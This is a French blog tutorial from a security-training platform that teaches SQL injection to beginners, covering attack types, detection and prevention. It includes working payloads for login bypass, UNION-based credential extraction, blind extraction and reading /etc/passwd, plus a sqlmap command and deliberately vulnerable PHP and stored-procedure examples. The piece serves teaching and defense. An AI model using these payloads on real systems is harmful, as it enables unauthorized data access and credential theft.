Blog / Tutorial

Injection SQL pour débutants : exemples et prévention

HackerDNA Team

13 min de lecture

janv. 17, 2026

Dernière mise à jour: févr. 06, 2026

L'injection SQL est l'une des vulnérabilités d'applications web les plus anciennes et les plus dangereuses. Bien qu'elle soit bien comprise depuis plus de deux décennies, elle reste dans le Top 10 OWASP car les développeurs continuent de faire les mêmes erreurs lors du traitement des entrées utilisateur.

Ce tutoriel sur l'injection SQL vous guide exactement sur le fonctionnement de ces attaques, les différents types que vous devez connaître, et les techniques spécifiques pour les prévenir dans vos applications. Que vous appreniez les tests de pénétration ou construisiez des applications sécurisées en 2026, comprendre SQLi est fondamental.

TL;DR - Qu'est-ce que l'injection SQL ?

L'injection SQL se produit lorsque des attaquants insèrent du code SQL malveillant dans les requêtes d'application via des champs de saisie utilisateur. Cela peut leur permettre de lire des données sensibles, modifier ou supprimer des enregistrements, et parfois exécuter des commandes système sur le serveur de base de données.

Qu'est-ce que l'injection SQL ?

L'injection SQL (SQLi) est une technique d'injection de code qui exploite les vulnérabilités dans les applications qui construisent des requêtes SQL en utilisant des entrées utilisateur non filtrées. Lorsqu'une application concatène directement l'entrée utilisateur dans des requêtes de base de données, les attaquants peuvent manipuler la structure de la requête pour accéder à des données non autorisées ou effectuer des opérations malveillantes.

Pourquoi c'est important : Une attaque d'injection SQL réussie peut exposer toute votre base de données, y compris les noms d'utilisateur, mots de passe, numéros de carte de crédit et informations personnelles. Dans les cas graves, les attaquants peuvent obtenir un contrôle complet du serveur de base de données.

Considérez un simple formulaire de connexion qui vérifie les identifiants par rapport à une base de données :

-- Construction de requête vulnérable en PHP
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

Si un utilisateur entre admin comme nom d'utilisateur et ' OR '1'='1 comme mot de passe, la requête résultante devient :

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

Puisque '1'='1' est toujours vrai, cette requête renvoie tous les utilisateurs, contournant complètement l'authentification.

Comment fonctionnent les attaques d'injection SQL

Comprendre les mécanismes de l'injection SQL vous aide à identifier le code vulnérable et à élaborer des défenses efficaces. Voici le flux d'attaque typique :

  1. Identifier les points d'injection L'attaquant trouve des champs de saisie qui interagissent avec la base de données : formulaires de connexion, zones de recherche, paramètres URL
  2. Tester la vulnérabilité Insérer des caractères spéciaux comme des apostrophes (') pour voir s'ils provoquent des erreurs de base de données
  3. Déterminer la structure de la base de données Utiliser les messages d'erreur ou des techniques comme UNION SELECT pour découvrir les noms de tables et colonnes
  4. Extraire ou manipuler des données Élaborer des charges utiles pour extraire des données sensibles, modifier des enregistrements ou escalader les privilèges
  5. Maintenir l'accès (avancé) Dans certains cas, les attaquants créent des portes dérobées ou exécutent des commandes système

Le rôle de la saisie utilisateur

L'injection SQL exploite la confiance que les applications placent dans la saisie utilisateur. Toute donnée qui transite des utilisateurs vers les requêtes SQL est un vecteur d'attaque potentiel :

  • 1 Champs de formulaire : Identifiants de connexion, requêtes de recherche, données d'inscription
  • 2 Paramètres URL : ID de produit, numéros de page, options de filtre
  • 3 En-têtes HTTP : User-Agent, Referer, valeurs de Cookie
  • 4 Champs cachés : Jetons de formulaire, ID utilisateur, quantités de produit

Types d'injection SQL

Les attaques d'injection SQL se répartissent en trois catégories principales selon la façon dont les attaquants récupèrent les informations de la base de données :

SQLi intrabande

L'attaquant utilise le même canal de communication pour lancer l'attaque et récupérer les résultats. C'est le plus courant et le plus facile à exploiter.

Sous-types : Basé sur les erreurs, Basé sur UNION

SQLi aveugle

L'application n'affiche pas d'erreurs de base de données ou de résultats de requête. Les attaquants déduisent les informations en observant le comportement de l'application ou les temps de réponse.

Sous-types : Basé sur booléens, Basé sur le temps

SQLi hors bande

Les données sont exfiltrées via un canal différent, comme des requêtes DNS ou HTTP vers un serveur contrôlé par l'attaquant. Nécessite des fonctionnalités de base de données spécifiques.

Exemple : Exfiltration DNS via xp_dirtree

Injection SQL basée sur les erreurs

SQLi basée sur les erreurs s'appuie sur les messages d'erreur de base de données pour extraire des informations. Lorsque le rapport d'erreurs verbeux est activé, les attaquants peuvent élaborer des requêtes qui révèlent la structure de la base de données :

-- Entrée qui déclenche une erreur informative
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

La base de données tente de convertir un nom de table en entier, ce qui échoue et expose le nom de la table dans le message d'erreur.

Injection SQL basée sur UNION

Les attaques basées sur UNION utilisent l'instruction UNION SELECT pour combiner les résultats de plusieurs requêtes. L'attaquant détermine d'abord le nombre de colonnes, puis extrait les données :

-- Étape 1 : Trouver le nombre de colonnes avec ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  (erreur ici signifie 2 colonnes)

-- Étape 2 : Extraire les données avec UNION
' UNION SELECT username, password FROM users--

Injection SQL aveugle basée sur booléens

Lorsque les messages d'erreur sont supprimés, les attaquants posent des questions vrai/faux et observent comment l'application répond :

-- Si la page se charge normalement, le premier caractère du mot de passe est 'a' ou après
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--

-- Réduire caractère par caractère
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's'--

Injection SQL aveugle basée sur le temps

Lorsque même les différences booléennes ne sont pas visibles, les attaquants utilisent des fonctions de sommeil de base de données pour déduire les résultats en fonction du temps de réponse :

-- Si la réponse prend 5 secondes, la condition est vraie
' AND IF(1=1, SLEEP(5), 0)--

-- Extraire les données un caractère à la fois
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='s', SLEEP(5), 0)--

Exemples courants d'attaques d'injection SQL

Examinons des scénarios pratiques d'injection SQL que vous pourriez rencontrer lors de tests de pénétration ou d'évaluations de sécurité.

Contournement d'authentification

L'attaque classique "admin sans mot de passe" utilise la logique booléenne pour contourner la vérification de connexion :

Nom d'utilisateur : admin'--
Mot de passe : n'importe quoi

-- Requête résultante :
SELECT * FROM users WHERE username = 'admin'--' AND password = 'n'importe quoi'
-- Tout après -- est traité comme un commentaire

Ce qui se passe : Les caractères de commentaire (--) font que la vérification du mot de passe est complètement ignorée. La requête renvoie l'utilisateur admin quel que soit le mot de passe entré.

Extraction de données avec UNION

Supposons qu'une page de produit utilise cette URL : product.php?id=5. Un attaquant peut extraire des données d'autres tables :

-- Requête originale
SELECT name, price, description FROM products WHERE id = 5

-- URL malveillante : product.php?id=5 UNION SELECT username, password, email FROM users--
-- Les résultats affichent les identifiants utilisateur au lieu des infos produit

Empreinte de base de données

Identifier le type de base de données aide les attaquants à choisir les charges utiles appropriées :

-- MySQL : Renvoie la version comme "8.0.32"
' UNION SELECT @@version, NULL, NULL--

-- SQL Server : Renvoie les infos de version
' UNION SELECT @@version, NULL, NULL--

-- PostgreSQL
' UNION SELECT version(), NULL, NULL--

-- Oracle
' UNION SELECT banner FROM v$version WHERE rownum=1--

Lecture de fichiers système (MySQL)

Sur des serveurs MySQL mal configurés, les attaquants peuvent lire des fichiers du système de fichiers :

-- Lire /etc/passwd sur Linux
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--

Note de sécurité : Les configurations MySQL modernes restreignent LOAD_FILE() et d'autres opérations sur fichiers par défaut. Cependant, les systèmes hérités ou les serveurs mal configurés peuvent encore être vulnérables.

Comment détecter les vulnérabilités d'injection SQL

Trouver l'injection SQL nécessite des tests systématiques de tous les points de saisie utilisateur. Voici les techniques principales :

Liste de contrôle pour tests manuels

  • 1 Test de l'apostrophe : Entrez ' et recherchez des erreurs de base de données ou un comportement inattendu
  • 2 Conditions booléennes : Comparez les réponses à 1=1 (vrai) vs 1=2 (faux)
  • 3 Délais temporels : Injectez SLEEP(5) et mesurez les différences de temps de réponse
  • 4 Concaténation de chaînes : Testez si test est égal à te'+'st (SQL Server) ou te'||'st (Oracle)

Outils automatisés

Plusieurs outils automatisent la détection et l'exploitation d'injection SQL :

SQLMap

L'outil d'injection SQL open source le plus populaire. Détecte et exploite automatiquement les vulnérabilités SQLi sur tous les principaux systèmes de base de données. Apprenez les bases dans notre fiche de référence SQLMap.

Burp Suite

Plateforme professionnelle de test de sécurité web avec un scanner d'injection SQL intégré. Excellent pour intercepter les requêtes et tester manuellement les points d'injection.

Exemple de commande SQLMap pour tester un paramètre URL :

# Scan SQLMap de base
sqlmap -u "http://target.example/product.php?id=5" --dbs

# Options expliquées :
# -u : URL cible avec paramètre injectable
# --dbs : Énumérer les bases de données disponibles

Comment prévenir l'injection SQL

Prévenir l'injection SQL nécessite une approche de défense en profondeur. Aucune technique unique n'est infaillible, alors implémentez plusieurs couches de protection.

1. Utilisez des requêtes paramétrées (instructions préparées)

Les requêtes paramétrées séparent le code SQL des données utilisateur, rendant l'injection impossible. C'est la défense la plus efficace :

// VULNÉRABLE - Concaténation de chaînes
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

// SÉCURISÉ - Requête paramétrée (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

Voici l'équivalent dans d'autres langages :

# Python avec SQLite
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

// Java avec JDBC
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

// Node.js avec mysql2
connection.execute("SELECT * FROM users WHERE username = ?", [username]);

Pourquoi ça marche : La base de données traite l'entrée utilisateur comme des données, jamais comme du code SQL exécutable. Même si quelqu'un entre ' OR '1'='1, elle recherche un utilisateur avec ce nom d'utilisateur littéral.

2. Utilisez correctement les procédures stockées

Les procédures stockées peuvent fournir une protection lorsqu'elles sont correctement implémentées, mais elles ne sont pas automatiquement sûres. Évitez le SQL dynamique dans les procédures :

-- Procédure stockée VULNÉRABLE
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')

-- Procédure stockée SÉCURISÉE
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  SELECT * FROM users WHERE username = @username

3. Validation et nettoyage des entrées

Bien que ce ne soit pas une défense complète, la validation des entrées ajoute une autre couche de sécurité :

  • A Validation par liste blanche : N'acceptez que les caractères attendus (alphanumériques pour les noms d'utilisateur)
  • B Vérification de type : Assurez-vous que les paramètres numériques sont réellement des nombres
  • C Limites de longueur : Restreignez la longueur d'entrée aux maximums attendus
// Valider que l'ID est numérique avant utilisation
if (!is_numeric($_GET['id'])) {
    die("ID de produit invalide");
}
$id = (int) $_GET['id'];

4. Appliquez le principe du moindre privilège

Les comptes de base de données utilisés par les applications web doivent avoir des permissions minimales :

  • Créez des comptes séparés pour les opérations en lecture seule et en écriture
  • N'utilisez jamais de comptes d'administrateur de base de données pour les applications web
  • Restreignez l'accès aux tables système et aux procédures stockées sensibles
  • Désactivez les fonctions dangereuses comme xp_cmdshell dans SQL Server

5. Utilisez des pare-feu d'applications web (WAF)

Les WAF peuvent bloquer les motifs d'injection SQL courants comme une couche supplémentaire, mais ne doivent pas être votre défense principale. Les attaquants trouvent fréquemment des contournements pour les règles WAF.

Priorité de défense : Implémentez toujours d'abord les requêtes paramétrées. Considérez les WAF et la validation des entrées comme des mesures supplémentaires, pas des remplacements.

Considérations légales et éthiques

Les tests d'injection SQL doivent être effectués uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé à une base de données est une infraction pénale dans la plupart des juridictions.

Avant de tester tout système :

  • Obtenez une permission écrite du propriétaire du système
  • Définissez clairement la portée des tests
  • Documentez toutes les activités pour la responsabilité
  • Signalez les vulnérabilités via les canaux appropriés
  • N'accédez jamais, ne modifiez ou n'exfiltrez de vraies données utilisateur

Pour l'apprentissage et la pratique, utilisez toujours des applications intentionnellement vulnérables ou des environnements de laboratoire autorisés.

Pratiquer l'injection SQL en toute sécurité

La meilleure façon de comprendre l'injection SQL est la pratique pratique dans des environnements sûrs et légaux. Voici des ressources conçues spécifiquement pour l'apprentissage :

Laboratoire d'injection SQL

Pratiquez les techniques d'injection SQL de base à avancées dans un environnement contrôlé. Parfait pour les débutants qui commencent leur parcours en sécurité.

Laboratoire d'injection NoSQL

Apprenez comment les attaques d'injection s'appliquent à MongoDB et autres bases de données NoSQL avec une syntaxe et des techniques différentes.

Pour un apprentissage complet, le cours d'injection SQL couvre en profondeur la théorie, la détection, l'exploitation et la prévention. Combinez-le avec la formation aux outils de la fiche de référence SQLMap pour développer des compétences pratiques.

Autres plateformes de pratique

  • DVWA (Damn Vulnerable Web Application) : Application de pratique classique avec plusieurs niveaux de difficulté
  • SQLi-labs : Collection ciblée de défis d'injection SQL
  • PortSwigger Web Security Academy : Laboratoires gratuits des créateurs de Burp Suite

Questions fréquemment posées

L'injection SQL est-elle toujours pertinente en 2026 ?

Oui. Bien qu'étant une vulnérabilité bien connue, l'injection SQL apparaît constamment dans le Top 10 OWASP. Les applications héritées, les erreurs de développeur et la mauvaise utilisation d'ORM la maintiennent prévalente. Les frameworks modernes aident, mais les mauvaises configurations se produisent encore.

L'injection SQL peut-elle affecter les bases de données NoSQL ?

Les bases de données NoSQL comme MongoDB ne sont pas vulnérables à l'injection SQL traditionnelle, mais elles ont leurs propres vulnérabilités d'injection. L'injection NoSQL exploite les opérateurs de requête et les structures JSON. Apprenez-en plus dans le laboratoire d'injection NoSQL.

Les ORM préviennent-ils l'injection SQL ?

Lorsqu'ils sont utilisés correctement, les ORM (Object-Relational Mappers) comme Hibernate, Django ORM et ActiveRecord utilisent des requêtes paramétrées par défaut. Cependant, les méthodes de requête brute et une utilisation incorrecte peuvent encore introduire des vulnérabilités. Examinez toujours les requêtes générées par ORM lors des évaluations de sécurité.

Quelle est la différence entre SQLi et XSS ?

L'injection SQL cible le serveur de base de données en manipulant les requêtes SQL, tandis que XSS (Cross-Site Scripting) cible les utilisateurs en injectant du JavaScript malveillant dans les pages web. Ce sont toutes deux des attaques d'injection mais avec des cibles et des impacts différents. Consultez notre guide XSS vs CSRF pour plus d'informations sur les attaques côté client.

Comment signaler les vulnérabilités d'injection SQL ?

Si vous découvrez une vulnérabilité, vérifiez si l'organisation a un programme de bug bounty ou un contact de sécurité. Signalez via les canaux officiels, fournissez des étapes de reproduction claires et accordez un délai raisonnable pour les corrections avant toute divulgation publique. N'exploitez jamais les vulnérabilités pour un gain personnel.

Résumé : Maîtriser l'injection SQL

L'injection SQL reste l'une des vulnérabilités d'applications web les plus impactantes. Comprendre comment ces attaques fonctionnent est essentiel que vous sécurisiez des applications ou effectuiez des tests de pénétration autorisés.

Points clés de ce tutoriel sur l'injection SQL :

  • SQLi exploite la construction de requête non sécurisée : L'entrée utilisateur directement concaténée dans les instructions SQL crée des vulnérabilités
  • Trois types principaux existent : Intrabande (basée sur erreur/union), aveugle (basée sur booléen/temps) et hors bande
  • Les requêtes paramétrées sont la défense principale : Elles séparent le code des données, rendant l'injection impossible
  • La défense en profondeur compte : Combinez les instructions préparées avec la validation des entrées, le moindre privilège et les WAF
  • Pratiquez légalement : Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une permission explicite d'évaluer

Lire sur l'injection SQL n'est que la première étape. La vraie compréhension vient de la pratique pratique, en voyant comment différentes charges utiles se comportent et en apprenant à élaborer des requêtes qui extraient des informations spécifiques.

Prêt à pratiquer l'injection SQL en pratique ? Commencez avec le laboratoire d'injection SQL pour des défis guidés, puis explorez le cours d'injection SQL complet pour des techniques approfondies. Maîtrisez l'outil de test essentiel avec la fiche de référence SQLMap pour automatiser la détection et l'exploitation sur tous les principaux systèmes de base de données.

Prêt à mettre cela en pratique?

Arrêtez de lire, commencez à hacker. Obtenez une expérience pratique avec plus de 170 labs de cybersécurité réels.

Commencer à Hacker Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte